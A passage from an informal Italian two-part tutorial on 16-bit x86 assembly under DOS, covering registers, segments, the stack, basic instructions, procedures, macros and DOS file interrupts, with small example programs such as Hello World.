spiegazione, infatti questo testo " Assembly..? No grazie! Non fumo " e'
logicamente molto scherzoso! Assembler e' un linguaggio che tutti sognano di
imparare! almeno paragonano questo linguaggio a quello degli "hacker"..non ho
capito perche'! E' anche vero che e' "Universale",tramite l'asm puoi
comunicare con la tua macchina in modo veloce e flessibile! Ad esempio
parlare con un cinese attraverso un traduttore risulta molto piu lungo e
faticoso che parlare con un italiano! Il linguaggio della macchina e' l'asm ,
e noi cercheremo di impararlo partendoi da 0 :) .. Sara' una faticaccia ma vi
speghero' quelle poche cose che so'! Quella che affronteremo sara' la famiglia
80x06 e' nata nel 1981 con il processore 8086 e prosegue attualmente con la
linea Pentium. Cio' che accomuna tutti questi processori e' che sono tutti
compatibili all'indietro, ma ciascuna nuova generazione ha aggiunto via via
nuove caratteristiche e maggior potenza di calcolo rispetto ai suoi
predecessori. Quindi 8088, 8086, 286, 386 o 486 sono ormai scomparsi perche'
lenti e superati.
Oggi Pentium MMX, Pentium II e il III sono i piu utilizzati! Prima di
cominciare a parlare d'asm analizzeremo il modo come i numeri sono
rappresentati all'interno della CPU. Anate di fretta? Bhe con la fretta non si
risolve nulla! Mi ci e' voluto tempo (fin troppo) per capuire come funziona
questo linguaggio) non essendo troppo facile! (Fatta questa premessina
iniziamo!). I numero sono rappresentati in notazione binaria, ovvero in base
2. Quindi esistono numeri di diversa simensione:

1BIT:0 ;e' semplice assume valore di 1 o 0

Un nibble e' quattro bit o mezzo byte .( Che gioco di parole=) Esso e' la base
della notazione esadecimale (base 16), che viene utilizzata per rappresentare
i numeri nei programmi Assembly. I esadecimali vengono rappresentati con un
suffisso "h" per indicare che il numero e' espresso in questa notazione. Vanno
da 1 a F. Ad esempio: Fh = 15 decimale. I numeri esadecimali che cominciano
con una lettera sono preceduti da uno 0 .

1 BYTE 00000000
2 NIBBLES
8 BITS

Un byte e' 8 bit o 2 nibble. Un byte ha un valore massimo di FFh (255
decimale). Un byte e' anche la dimensione dei registri a 8-bit. Una word e'
costituita invece, da due byte affiancati. Una word puo' assumere un valore
massimo di FFFFh (65536). una word e' composta da quattro nibble, è
rappresentata da quattro cifre esadecimali . E' la dimensione dei registi a
16-bit..Infatti:

1 WORD 0000000000000000 (16 zero=16bit)
2 BYTES
4 NIBBLES
16 BITS

------------[ REGISTRI
]------------------------------------------------------------------------------------------------------------------------------
Quindi conoscendo i numeri dobbiamo conoscere i registri che sono locazioni di
memoria all'interno della CPU dove un numero puo' essere memorizzato e
manipolato! Esistono 8-bit, 16-bit (come abbiam gia visto=) , dal 386 in poi
vi sono i 32-bit! Vi sono quattro differenti tipi di registri: registri
general-purpose, registri di segmento, registri indice e registri di stack.
Quelli di stack e di segmento, sono un po' particolari, li vedremo in seguito!

Registri General-Purpose


15 7 0
+--------+
|AH | AL| AX
|BH | BL| BX
|CH | CL| CX
|DH | DL| DX
+--------+

Vi sono quattro registri general-purpose: AX, BX, CX, DX. (Sono registri a
16-bit.) Sono suddivisi in registri a 8-bit. AX e' suddiviso in AH, che
contiene il byte alto e AL che contiene il byte basso. Con il processore 386 e
superiori vi sono anche registri a 32-bit. Questi hanno gli stessi nomi dei
registri a 16-bit ma con una E come prefisso (es EAX). Si possono utilizzare
AL, AH, AX ed EAX separatamente e considerare come registri separati per
alcune oprazioni.

Se AX contenesse 24689 decimal:

AH AL
01100000 01110001

AH varrebbe 96 e AL varrebbe 113. Se aggiungessimo 1 ad AL, questo varrebbe
114 e AH rimarrebbe invariato . SI, DI, SP e BP possono essere utilizzati come
registri general-purpose, ma hanno usi piu' specifici. Questi non sono
suddivisi in due meta'.



-Registri di Stack

Son BP e SP Li vedremo in seguito. Si usano quando si ha a che fare con lo
stack!

---------------

-Registri Indice

Sono a 16bit (registri puntatore).Si utilizzano con le istruzioini che operano
con le stringhe di caratteri. Vi sono tre registri indice: SI (source index),
DI (destination index) e IP (instruction pointer). Come registro indice per le
stringhe si può usare anche il registro BX.
IP e' un registro indice ma non puo' essere manipolato direttamente poiche'
contiene l'indirizzo dell'istruzione successiva durante l'esecuzione.

--------------[ SEGMENTI E OFFSETS
]-------------------------------------------------------------------------------------------------------------------

I registri hanno solo 16 bit,il problema e' che per indirizzare un intero
megabyte sono necessari almeno 20 bit. Cosi' sono nati i segmenti e gli
Offsets.
Ci permettono l'indirizzamento con due registri, ma senza utilizzare 32 bit
(esagerato per chiunque).

OFFSET = SEGMENT * 16
SEGMENT = OFFSET / 16

Un registro contiene il segmento e un altro registro contiene l'offset. Unendo
insieme i due registri si ottiene un indirizzo a 20-bit. Questi progettisti
erano ingegnosi!! ehh?? ;)

SEGMENT 0010010000010000----
OFFSET ----0100100000100010
20-bit Address 00101000100100100010

DS contiene il segmento e SI contiene l'offset. (Da ricordare!!) Poiche'
entrambi hanno dimensione 16-bit gli indirizzi si accavallano. DS:SI e' come
mostrato nell'esempio una coppia di qujesti indirizzi per giungere a 20bit!
Notazione standard per una coppia Segmento/Offset e' SEGMENT:OFFSET. ( da
ricordate anch'esso).

I registri di segmento sono CS, DS, ES, SS. Con il 386 e processori successivi
esistono anche FS e GS. Analizzeremo quindi ora lo stack!

--------------[ STACK
]--------------------------------------------------------------------------------------------------------------------------------

Esiste una speciale area di memoria, denominata stack, in cui possono essere
salvati e recuperati i valori desiderati.
Quest'area di memoria e' organizzata come una pila di piatti. L'ultimo che
viene messo e' il primo ad essere prelevato. Questo tipo di organizzazione e'
denominata Last On First Off (LOFO) oppure Last In First Out (LIFO). (Ma non
so molto , anzi nulla :P)
Vediamo se mi esce il disegnino:

|Higt addresses
|
| +--------+
| ||DatA |
|StaCk | pUsched|
|GrOwS +--------+ <---(SP) sTAck PoInTeR
| | |
| | FreE |
| | SpAcE |
| | |
| +--------+ <--- (SS) stAcK sEgMEnT
|
V Low addresses

Via via che nuovi dati sono posti nello stack, questo cresce verso il basso.
Come si vede dalla figura, lo stack ha inizio ad un indirizzo alto e cresce
verso il basso. E' opportuno accertarsi di non mettere troppi dati nello
stack, se non si vuole rischiare l'errore di stack overflow. (cOme e' solito
che accada!!) Questo e' quanto so dello stack! L'esperienza mi ha portato ad
approfondire un pokino pokino.. :)

--------------[ iSTRUZIONI ASM ]
----------------------------------------------------------------------------------------------------------------------

Esistono moltissime istruzionui asm, quelle importantissime (da ricordare sono
una ventina!) .La maggior parte delle istruzioni sono identificate da un
codice mnemonico di tre caratteri e sono seguite da uno o piu' operandi
separati da virgole. Per esempio per mettere un dato in un registro, si puo'
utilizzare l'istruzione MOV. Oppure il famoso salto JMP!
Per poter commentare un codice si usa il ";" Cosi':

mov ax,10 ; colloca 10 in ax!

Abbiamo gia' parlato dello stack, ma non di come fare ad inserire e prelevare
i dati. Sicuramente avrete sentito gia' PUSH & POP !!Ebbene sono questi! Ecco
la sintassi per utilizzarli:

-PUSH: Inserisce un dato in cima allo stack

Sintassi: push dato

-POP: Preleva un dato dallo stack e lo memorizza in uno specifico registro o
variabile.

Sintassi: pop registro (o variabile)

Questo esempio di codice mostra come utilizzare le istruzioni PUSH e POP :)

push cx ; colloca cx nello stack
push ax ; colloca anche ax
pop cx ; estrae il valore dallo stack in cx
pop ax ; estrae il valore dallo stack in cx

Notate che i valori di CX e AX vengono scambiati. C'e' un istruzione specifica
per scambiare i valori contenuti in due registri: XCHG, che puo' essere usato
per rimpiazzare il precedente frammento di codice con la sola istruzione "xchg
ax,cx"
.

Questo e' un elenco di alcune importanti istruzioni che e' necessario
conoscere prima di poter comprendere e scrivere programmi in Assembly.

-MOV: copia un valore da una locazione ad un'altra.

Sintassi: MOV destinazione, sorgente

Ad esempio:

mov ax,10 ; Non ha bisogno di commento!
mov bx,cx ; Lo stesso! :)
mov dx,Number ; moves il valore del numero in dx.


-INT: richiama una funzione DOS o del BIOS.

Sintassi: INT interrupt number

Ad esempio:


int 21h ; Chiama Dos
int 10h ; Chiama il video del Bios!


La maggior parte degli interrupt hanno piu' di una funzione. Questo significa
che e' necessario fornire un numero specificatore alla funzione che si
desidera richiamare. In genere questo numero viene specificato in AH. Ad
esempio per stampare un messaggio sullo schermo bisogna fare cosi':


mov ah,9 ; funzione 9!
int 21h ; chiama l'interrupt dos e lo stampa.


Ma prima bisogna specificare cosa stampare. Questa funzione richiede che:

la coppia DS:DX contenga il puntatore a dove si trova il contenuto della
stringa. La stringa deve essere terminata con il simbolo ($). Questo sarebbe
semplice da ottenere se il registro DS potesse essere manipolato direttamente;
bisogna invece utilizzare il registro AX nel modo seguente.

L'esempio mostra la tecnica da utilizzare:


mov dx,OFFSET Message
mov ax,SEG Message
mov ds,ax
mov ah,9
int 21h


Le direttive OFFSET e SEG servono per ottenere il segmento e l'offset dove si
trova il messaggio, e non il suo contenuto. Ora che sappiamo come scrivere il
codice per visualizzare il messaggio, non resta che dichiarare il messaggio.
Nel segmento dati dichiariamo il messaggio nel modo seguente:


Message DB "Hello World!$"


Notate che la stringa e' terminata con il simbolo di dollaro. Cosa significa
'DB'? DB e' un codice mnemonico che sta per "declare byte" e il messaggio e'
un array di byte (un carattere ASCII occupa un byte). I dati possono essere
dichiarati di varie dimensioni: byte (DB), word (DW) e double (DD).

Ecco alcuni esempi di dichiarazione di dati:


Number1 db ?
Number2 dw ?


Il simbolo di punto di domanda alla fine significa che il dato non e'
inizializzato, cioe' non ha un valore iniziale. Se si vuole specificare un
valore di inizializzazione, e' sufficiente scrivere:


Number1 db 0
Number2 dw 1


In questo caso Number1 assume valore 0 e Number2 e' uguale a 1, quando il
programma e' mandato in esecuzione.

Se si dichiara una variabile come word, non si puo' copiare il valore di
questa variabile in un registro a 8-bit, e allo stesso modo non si puo'
dichiarare una variabile come byte e copiarne il contenuto in un registro a
16-bit. Per esempio:


mov al,Number1 ; ok
mov ax,Number1 ; errore

mov bx,Number2 ; ok
mov bl,Number2 ; errore


Tutto quello che e' necessario ricordarsi e' che si puo' soltanto copiare byte
in registri a 8-bit e word in registri a 16-bit,non e' molto difficile da
capire ci vuole solo un po di allenamento :) .


-------------[ HELLO WORLD
]----------------------------------------------------------------------------------------------------------------------------

Ora che abbiamo analizzato le prime , fondamentali, istruzioni passiamo a
scrivere un famoso "Hello Word" (un programmino). Il codice verra' commentato
per rendervi tutto chiaro!

Listing 1: 1STPROG.ASM
; Facile Proggy che visualizza "Hello World!" :)
; sullo schermo.

.model small ;piccolo (e' bene dichiarare il model del codice vedremo in
seguito)
.stack
.data

Message db "Hello World!$" ; messaggio da visualizzare

.code

mov dx,OFFSET Message ; muove l'offset del messaggio in DX
mov ax,SEG Message ; muove il segmento in AX
mov ds,ax ; DS:DX

mov ah,9 ; funzione 9 - visualizzare la stringa
int 21h ; chiama dos!
mov ax,4c00h ; ritorna a dos
int 21h

END start ;fine :)


Queste sono le istruzioni per compilare e linkare un programma. (a86 o Tasm)

-Turbo Assembler

tasm file.asm
tlink file [/t]

L'opzione /t genera un eseguibile .COM, ed e' utilizzabile solo se il modello
di memoria e' dichiarato (.small) nel file sorgente.

-A86

a86 file.asm


Questo comando compila il programma, generando un eseguibile .COM,
indipendentemente dal modello di memoria dichiarato.Provate a passare il
codice asm sul file C:\a86\a86.exe vi restituira il .com!

-----------[ISTRUZIONI
VARIE]--------------------------------------------------------------------------------------------------------------------------
Abbiamo visto come compilare scrivere usare alcune funzioni! Soffermiamoci ora
su:

mov dx,OFFSET MyMessage
mov ax,SEG MyMessage
mov ds,ax

Perche' sprecare byte & tempo?
con l'istruzione : 'mov dx,OFFSET MyMessage' (senza apici ovviamente)
Si ruiducono quelle tre stringhe! Possiamo rimpiazzare tutto questo con una
singola linea.Perche' funzioni, bisogna anche aggiungere queste istruzioni
all'inizio del programma facilissima da ricordare!:

mov ax,@data
mov ds,ax

Compilarlo con a86 risulta ancora piu' semplice! Infatti basta aggiungere 'mov
ax,data'

Questa tecnica si basa sul fatto che tutti i dati in un segmento hanno il
medesimo SEG value. Impostando questo valore in DS, evita di doverlo
ricaricare ogni volta che desideriamo indirizzare un altro dato nello stesso
segmento. Molto carino! :P

Utilizzeremo l'interrupt 16h, funzione 00h per leggere la tastiera. Questa
chiamata legge un dato dal buffer della tastiera. Se nessun dato e' presente,
aspetta fino a quando non e' disponibile. Restutuisce lo SCAN code in AH e la
traduzione ASCII in AL.


xor ah,ah ; funzione 00h - preleva carattere
int 16h ; interrupt 16h


Tutto quello di cui dobbiamo preoccuparci per ora e' il valore ASCII (American
Standar Code for Information Interchange! =) che si trova in AL.
Nota: XOR effettua un OR booleano esclusivo. E' comunemente utilizzato per
azzerare un registro o una variabile!!
Il problema e' che abbiamo il tasto premuto in AH. Come facciamo a
visualizzarlo? Non possiamo usare la funzione 9h perché avremmo dovuto aver
già definito una stringa terminandola con il simbolo di dollaro. Questo e'
invece cio' che dobbiamo fare.

;dopo aver dichiarato la funzione 00h dell'interrupt 16h

mov dl,al ; muove al (ascii code) in dl
mov ah,02h ; funzione 02h dell'interrupt 21h
int 21h ; chiama interrupt 21h

Se desiderate salvare il valore di AH, e' necessario fare PUSH di AX prima
della chiamata e recuperarlo in seguito con POP (come abbiamo visto
precedentemente nello stack =)

Ora esamineremo i famosi (salti) JMP , sono tanti, fodamentali :) Ad esempio:

jmp label ; tutto quello che fa e' di saltare alla locazione specificata e
continuare

Ritornando al discorso precendente (Abbiamo letto un valore dalla tastiera ma
ora vogliamo fare qualche operazione). Ad esempio stampiamo qualcosa se questo
valore e' uguale ad una certa costante.. Bell'idea :) E' semplice. Utilizziamo
comandi di salto condizionato.

cmp ax,3 ; AX = 3 ?
je correct ; yes ;)

-CMP: compara un registro o una variabile con un valore

Sintassi: CMP registro o variabile, valore
jxx destination

Un esempio d'uso e' il seguente:
cmp al,'Y' ; compara il valore in al come Y
je ItsYES ; se e' uguale salta a ItsYES


E' facile,vero? Non capite? Quest'ultimo esempio ...uhm.. non fa altro che
comparare , ma se noi mettiamo su' un istruzione che visualizzi la stringa
"Sei stupido?" y/n se l'imput dell'utente e' Y (in AL) salta a ItsYES che
puo' contenere nel nostro esempio "Wow!".

Ecco una ricca tabella di SALTI :)

+----+------------------------------------------------------------------------------------+
|JA |Salta se il primo operando e' maggiore del secondo operando
|
|JAE |Come sopra, ma salta anche se gli operandi hanno lo stesso valore
|
|JB |Salta se il primo operando e' minore del secondo operando
|
|JBE |Come sopra, ma salta anche se gli operandi hanno lo stesso valore
|
|JNA |Salta se il primo operando non e' maggiore del secondo operando (JBE)
|
|JNAE|Salta se il primo operando non e' maggiore del o uguale al secondo
operando (JNB) |
|JNB |Salta se il primo operando non e' minore del secondo operando (JAE)
|
|JNBE|Salta se il primo operando non e' minore del o uguale al secondo
operando (JA) |
|JZ |Salta se i due operandi sono uguali
|
|JE |Come JZ
|
|JNZ |Salta se i due operandi NON sono uguali
|
|JNE |Come JNZ
|
|JC |Salta se il flag di carry e' impostato
|
+----+------------------------------------------------------------------------------------+


Ogni istruzione richiede una certa quantita' di spazio nel segmento codice. Si
ottiene un avviso dall'assemblatore se si cerca di saltare a locazioni lontane
piu' di 127 byte in entrambe le direzioni. Si puo' risolvere il problema,
modificando una sequenza come questa:

cmp ax,10 ; AX e'10?
je done ; si, finisci!

in qualcosa come questa:

cmp ax,10 ; AX e' 10?
jne notdone ; se nn lo e' salta a notdone
jmp done ; funge tipo (else) Se e' uguale vai... se non e' uguale (jne) non
andare :)
notdone:

Ora vedremo un programma che dimostra input, output e controllo del flusso.


Listing 2: PROGFLUSSO.ASM
; questo proggy dimostra il flusso input/output

.model tiny
.code
org 100h
start:

mov dx,OFFSET Message ; visualizza un messaggio sullo schermo
mov ah,9 ; usando la funzione 09h
int 21h ; dell' intrrupt 21h

jmp First_Time
Prompt_Again: ; <---------------------------------------------+
|
mov dx,OFFSET Another ; visualizza un messaggio sullo schermo |
mov ah,9 ; usando la funzione 09h |
int 21h ; dell' intrrupt 21h |
; |
First_Time: ; |
; |
mov dx,OFFSET Again ; visualizza un messaggio sullo schermo |
mov ah,9 ; usando la funzione 09h |
int 21h ; dell' intrrupt 21h |
xor ah,ah ; funzione 00h |
; |
int 16h ; interrupt 16h prende i cratteri |
mov bl,al ; salva in bl |
mov dl,al ; muovi al in dl |
mov ah,02h ; funzione 02h - visualizza carattere |
int 21h ; chaima dos |
; |
cmp bl,'Y' ; al = Y ? |
je Prompt_Again ; Se si visualuizza Prompt_Again |
cmp bl,'y' ; al = y ? |
je Prompt_Again ; Se si visualuizza (Prompt_Again) -------------+

theEnd:

mov dx,OFFSET GoodBye ; scrivi messaggio goodbye
mov ah,9 ; usando la funzione 9
int 21h ; del intrrupt 21h

mov ah,4Ch ; finisci
int 21h

.DATA
CR equ 13 ; enter
LF equ 10 ; line-feed

Message DB "Input/Output Program $"
Prompt DB CR,LF,"Qui il tuo primo prompt.$"
Again DB CR,LF,"Vuoi essere visualizzato ancora?$"
Another DB CR,LF,"Un altro prompt!$"
GoodBye DB CR,LF,"Ciao ci vediamo!"

end start

-----------[INTRODUZIONE ALLE
PROCEDURE]----------------------------------------------------------------------------------------------------------------

Quello che segue e' un elenco di alcuni istruzioni Assembly fondamentali che
e' molto importante conoscere e che sono utilizzate molto spesso.

-ADD: Aggiunge il contenuto del secondo operando al valore del primo operando

Sintassi: ADD operando1,operando2

Questo esempio aggiunge il valore di operando2 a quello di operando1. Il
risultato e' memorizzato nell'operando1. Un tipo di dato immediato non puo'
essere utilizzato come operando1, ma puo' essere utilizzato come operando2.

-SUB: Sottrae il contenuto del secondo operando dal valore del primo operando

Sintassi: SUB operand1,operand2

Questo esempio sottrae il valore di operando2 da quello di operando1. Il
risultato e' memorizzato nell'operando1. Un tipo di dato immediato non puo'
essere utilizzato come operando1, ma puo' essere utilizzato come operando2. :P

-MUL: Moltiplica due interi senza segno (sempre positivi)
-IMUL: Moltiplica due interi con segno (positivi o negativi)

Sintassi: MUL registro o variabile - IMUL registro o variabile

Questo esempio moltiplica AL o AX per il valore del registro o della variabile
specificati. Se si specifica un operando della dimensione di un byte, AL viene
moltiplicato per l'operando e il risultato e' posto nel registro AX. Se invece
si specifica un operando della dimensione di una word, AX viene moltiplicato
per l'operando e il risultato e' posto in DX:AX.
Con i processori 386, 486 e Pentium puo' essere utilizzato anche il registro
EAX e il risultato viene posto in EDX:EAX (vi ricordavate?? :)

-DIV: Divide due interi senza segno (sempre positivi)
-IDIV: Divide due interi con segno (positivi o negativi)

Sintassi: DIV registro o variabile - IDIV registro o variabile


L'istruzione di divisione funziona in modo simile alla moltiplicazione,
dividendo il valore contenuto in AX per il registro o la variabile
specificati. Il risultato e' memorizzato in due diverse locazioni. AL contiene
il quoziente della divisione mentre il resto e' posto in AH. Se l'operando e'
un registro a 16-bit, il numero alla locazione DX:AX viene diviso per
l'operando e il quoziente e il resto sono posti rispettivamente in AX e DX.

In Assembly una procedura e' l'equivalente di una funzione in C o in Pascal.
Una procedura fornisce un modo semplice per incapsulare un calcolo complesso
in modo che possa essere utilizzato senza preoccuparsi di come funziona
internamente. Con procedure attentamente strutturate, e' possibile realizzare
programmi di grosse dimensioni, nascondendo i dettagli implementativi e
ottenendo codice piu' leggibile.

Ecco come si definisce una procedura:

PROC AProcedure
.
. ;codice..
.
ret ; IMPORTANTISSIMO se non e' specificato qui!! il computer crashera' :PPP
ENDP AProcedure

Invocare una procedura e' altrettanto semplice:

call AProcedure

Il programma che segue e' un esempio di come usare una procedura. E' simile al
primo programma visto, tutto quello che fa è stampare la frase "Hello World!"
sullo schermo.:

Listing 3: SIMPPROC.ASM

; Sempre il solito Hello World racchiuso in una procedura!

.model tiny
.code
org 100h

Start:

call Display_Hi ; Chiama la procedura
mov ax,4C00h ; ritorna a dos
int 21h

;procedura inizio

Display_Hi PROC

mov dx,OFFSET HI
mov ah,9
int 21h

ret
Display_Hi ENDP
;procedura fine!

HI DB "Hello World!" ; definisce il messaggio

end Start

Le procedure non sarebbero così utili se non si potessero passare parametri
per modificarli o utilizzarli all'interno della procedura. Vi sono tre diversi
modi di passare un parametro: in un registro, in memoria e sullo stack.
Di seguito ci sono tre esempi che svolgono tutti lo stesso compito. Stampano
il carattere ASCII 254 in un punto specifico dello schermo:


* Passare i parametri nei registri

Il vantaggio di passare i parametri nei registri e' la semplicita'. Basta
copiare i parametri nei registri prima di invocare la procedura :)


Listing 4: PROC1.ASM

; Quresta procedura scrivera' un blocco sullo schermo!
; passando per i registri

.model tiny
.code
org 100h

Start:

mov dh,4 ; rigo dove scrivere il carattere
mov dl,5 ; colonna dove scrivere il carattere
mov al,254 ; valore ascii
mov bl,4 ; colore del carattere

call PrintChar ; scrive il nostro carattere
mov ax,4C00h ; termina
int 21h

PrintChar PROC NEAR

push bx ; salva i registri
push cx

xor bh,bh ; pulisci bh - video page 0 (xor come abbiamo visto pulisce i
registri)
mov ah,2 ; funzione 2 - muove il cursore
int 10h ; row and col are already in dx

pop bx ; restituisci bx

xor bh,bh ; display page - 0
mov ah,9 ; funzione 09h scrive carattere e attribbuto
mov cx,1 ; visualizza esso una volta
int 10h ; cchiama il bios

pop cx ; restituisci registers

ret ; ritorna dove esso e' stato chiamato
PrintChar ENDP ; fine procedura :)

end Start

* Passare i parametri in memoria

Il vantaggio di questo metodo e' l'estrema semplicita', ma ha lo svantaggio di
rendere il programma piu' lento.
Per passare i parametri attraverso la memoria, e' sufficiente copiare i
parametri in variabili situate in memoria. ingombrante e lento


Listing 5: PROC2.ASM

; Quresta procedura scrivera' un blocco sullo

  
schermo!
; passando per la memoria


.model tiny
.code
org 100h

Start:

mov Row,4 ; rigo
mov Col,5 ; colonna
mov Char,254 ; valore ascii
mov Colour,4 ; colore

call PrintChar ; scrive
mov ax,4C00h ; termina
int 21h ; in dos

PrintChar PROC NEAR

push ax cx bx ; salva i registri

xor bh,bh ; cancella bh - video page 0
mov ah,2 ; funzione 2 - muove cursore
mov dh,Row
mov dl,Col
int 10h ; chiama il bios

mov al,Char
mov bl,Colour
xor bh,bh ; display page - 0
mov ah,9 ; funzione 09h scrive carattere con gli attribbuti
mov cx,1 ; visualizza una volta
int 10h ; chiama il bios

pop bx cx ax ; restora i registri

ret ; ritorna
PrintChar ENDP

; qui ci sono le variabili da settare

Row db ?
Col db ?
Colour db ?
Char db ?

end Start

*Passare i parametri sullo stack

Questo e' il modo piu' potente e flessibile di passare i parametri. Il
problema e' che risulta piu' complicato.


Listing 6: PROC3.ASM

; Quresta procedura scrivera' un blocco sullo schermo!
; passando per lo stack

.model tiny
.code
org 100h

Start:

mov dh,4 ; rigo
mov dl,5 ; colonna
mov al,254 ; valore ascii
mov bl,4 ; colore
push dx ax bx ; mette i parametri nello stack!!

call PrintString ; scrive

pop bx ax dx ; restora i registri
mov ax,4C00h ; termina
int 21h ; in dos!!

PrintString PROC NEAR

push bp ; salva bp
mov bp,sp ; mette sp in bp
push cx ; salva i registri

xor bh,bh ; cancella bh - video page 0
mov ah,2 ; function 2 - muove i cursori
mov dx,[bp+8] ; restora dx
int 10h ; chiama il bios

mov ax,[bp+6] ; carattere
mov bx,[bp+4] ; attribbuti
xor bh,bh ; display page - 0
mov ah,9 ; funzione 09h scrive carattere & attrib.
mov cx,1 ; una volta
int 10h ; chiama il bios!

pop cx ; restore registers
pop bp

ret ; ritorna
PrintString ENDP

end Start

Per prelevare un parametro dallo stack, tutto quello che serve fare e'
conoscere l'indirizzo dove si trova. L'ultimo parametro si trova all'indirizzo
BP+2 e il precedente all'indirizzo BP+4

Questo disegnino e' piu' difficile ma dimostra lo Stack di una procedura con
due parametri .



| /\
| +----------+ |
|-----+ SP+6 |Frist | |---------+
|StaCk| | Parameter| |AdDresSes|
|GrOwS| +----------+ |GrOwS |
|-----+ SP+4 |Second | |---------+
| | Parameter| |
| +----------+ |
| SP+2 |Return | |
| | Address | |
| +----------+ |
\/ sb,bp


E' molto importante dichiarare il modellodi memoria (.model):

Sintassi: .MODEL MemoryModel

Dove MemoryModel puo' essere SMALL, COMPACT, MEDIUM, LARGE, HUGE, TINY o FLAT.

-Tiny- Significa che esiste un unico segmento per codice e dati. Questo tipo
di programma puo' essere un eseguibile .COM.
-Small- Significa che per default tutto il codice si trova in un unico
segmento e tutti i dati dichiarati si trovano in un altro solo segmento.
Questo implica che tutte le procedure e le variabili sono indirizzate come
NEAR utilizzando solo gli offset.
-Compact- Significa che per default tutto il codice si trova in un unico
segmento ma i dati possono essere dichiarati in piu' segmenti diversi. Questo
implica che i dati sono indirizzati utilizzando sia il segmento sia l'offset.
Gli elementi di codice (procedure) sono NEAR e le variabili sono FAR.
-Medium- E' l'opposto di compact. I dati sono NEAR e le procedure sono FAR.
-Large- Questo significa che sia le procedure sia le variabili sono FAR.
Bisogna indirizzarle entrambe utilizzando sia il segmento, sia l'offset.
-Flat- Questo modello di memoria si usa quando il processore opera in
modalita' protetta e la memoria non e' segmentata. E' utilizzabile solo con
sistemi operativi a 32-bit, come Windows 9x e Windows NT.

fINE vOLUME 1

e4m
Tezkatlipoka@libero.it
Www.bfc.too.it
wWW.e4m.linuX-duDe.cOm


|-------------------------------------------------------------|
|Art. N° <18> : "Assembly? No grazie, non fumo! vol. 2" di e4m|
|-------------------------------------------------------------|


-----------[ MACRO
]----------------------------------------------------------------------------------------------------------------------------------

Le macro sono molto utili per raggruppare sequenze di istruzioni usate
frequentemente, per le quali non E' opportuno realizzare una procedura. Le
macro sono sostituite al momento della compilazione con il codice che
contengono.
Questa è la sintassi per definire una macro:

Name_of_macro macro
;
;sequenza di istruzioni
;
endm

Questi due esempi illustrano le macro per salvare e ripristinare di gruppi di
registri:

SaveRegs macro

push ax
push bx
push cx
push dx

endm

RestoreRegs macro

pop dx
pop cx
pop bx
pop ax

endm


Per usare una macro in un programma e' sufficiente utilizzare il nome della
macro come una qualsiasi istruzione.

SaveRegs

; sequenza di istruzioni

RestoreRegs

Questo esempio mostra come si puo' usare una macro per risparmiare righe di
codice. Questa macro stampa semplicemente un messaggio sullo schermo. (E'
stato usato Turbo Assembler)

OutMsg macro SomeText
local PrintMe,SkipData

jmp SkipData ;-------------+
; |
PrintMe db SomeText,'$' ; |
; |
SkipData: ; <--avvia la macro-+

push ax dx cs

mov dx,OFFSET cs:PrintMe
mov ah,9
int 21h

pop cs dx ax

endm

L'unico problema con le macro è che usandole troppo spesso, la dimensione del
codice del programma tende ad aumentare e si rischia di incontrare errori di
duplicazione delle label e di nomi delle variabili. Usando LOCAL , che
consente di dichiarare nomi che valgono solo all'inerno delle macro , possiamo
risolvere questo problema!


Sintassi: LOCAL name

Dove name e' il nome di una variabile locale o di una label.


Un'altra utile proprietà delle macro è che possono avere parametri. Il numero
di parametri e' limitato solo dalla lunghezza della linea di codice.

Sintassi:


Name_of_Macro macro par1,par2,par3
;
; istruzioni
;
endm


Questo esempio somma il primo e il secondo parametro e pone il risultato nel
terzo:

AddMacro macro num1,num2,result

push ax ; salva AX
mov ax,num1 ; metti il num1 in AX
add ax,num2 ; metti il num2 in AX
mov result,ax ; sposta il risultato di ax in result
pop ax ; restore ax

endm

I file possono essere aperti, letti e scritti. Il DOS ha diversi modi per fare
queste operazioni, che risparmiano la necessita' di dover scrivere ogni volta
routine ad hoc (fatto su misura thx to Spider ;). Quella che segue e' una
lista di utili funzioni dell'interrupt 21h che operano con i file.

Function 3Dh: open file
Apre un file esistente in lettura, scrittura o in aggiunta, con il nome e
drive specificati.


Funzioni che operano sui file
I file possono essere aperti, letti e scritti. Il DOS ha diversi modi per fare
queste operazioni, che risparmiano la necessità di dover scrivere ogni volta
routine ad hoc. Quella che segue è una lista di utili funzioni dell'interrupt
21h che operano con i file.
Nota: I bit sono numerati da destra verso sinistra.

Function 3Dh: open file
Apre un file esistente in lettura, scrittura o in aggiunta, con il nome e
drive specificati.

INPUT:

AH = 3Dh
AL = bits 0-2 Access mode

000 = read only
001 = write only
010 = read/write
bits 4-6 Sharing mode (DOS 3+)
000 = compatibility mode
001 = deny all
010 = deny write
011 = deny read
100 = deny none
DS:DX = segment:offset of ASCIIZ pathname
OUTPUT:

CF = 0 function is succesful
AX = handle
CF = 1 error has occured
AX = error code

01h missing file sharing software
02h file not found
03h path not found or file does not exist
04h no handle available
05h access denied
0Ch access mode not permitted

Cosa significa ASCIIZ? Una stringa ASCIIZ e' una stringa di caratteri ASCII
terminata con uno zero anziche' con il simbolo di dollaro :) ($)

E' importante salvare l'handle del file perche' serve per fare qualsiasi
operazione con il file. Come si fa? Ci sono due metodi utilizzabili: copiare
l'handle in un registro e rinunciare a utilizzarlo finche' il file e' in uso,
oppure copiarlo in una locazione di memoria.

;usiamo il secondo metodo , migliore

FileHandle DW 0 ; usa per salvare il file nell handle
.
.
.
mov FileHandle,ax ; salva il file nell handle

Continuiamo ..

Function 3Eh: close file
Chiude un file che è stato aperto.
INPUT:

AX = 3Eh
BX = file handle


OUTPUT:

CF = 0 function is successful
AX = destroyed
CF = 1 function not successful
AX = error code - 06h file not opened or unauthorised handle.


Function 3Fh: read file/device

Legge byte da un file o da un device in un buffer di memoria.

INPUT:

AH = 3Fh
BX = handle
CX = number of bytes to be read
DS:DX = segment:offset of a buffer

OUTPUT:

CF = 0 function is successful
AX = number of bytes read
CF = 1 an error has occurred

05h access denied
06h illegal handle or file not opened

Utilizziamo queste prime istruzioni per crareun file asm che legge un file :

Listing 7: READFILE.ASM

.model small
.stack
.code

mov ax,@data ; l'indirizzo base del data
mov ds,ax ; mattiamolo in ds

mov dx,OFFSET FileName ; metto l'indirizzo del file in dx
mov al,2 ; il modo d'accesso - read and write
mov ah,3Dh ; funzioni 3Dh - open a file
int 21h ; chiamo dos

mov Handle,ax ; salvo l'handle
jc ErrorOpening ; jump se il flag carry e' settato! - errore

mov dx,offset Buffer ; l'indirizzo del buffer in dx
mov bx,Handle ; handle in bx
mov cx,100 ; l'ammontare dei byte da leggere
mov ah,3Fh ; funzione 3Fh - read from file
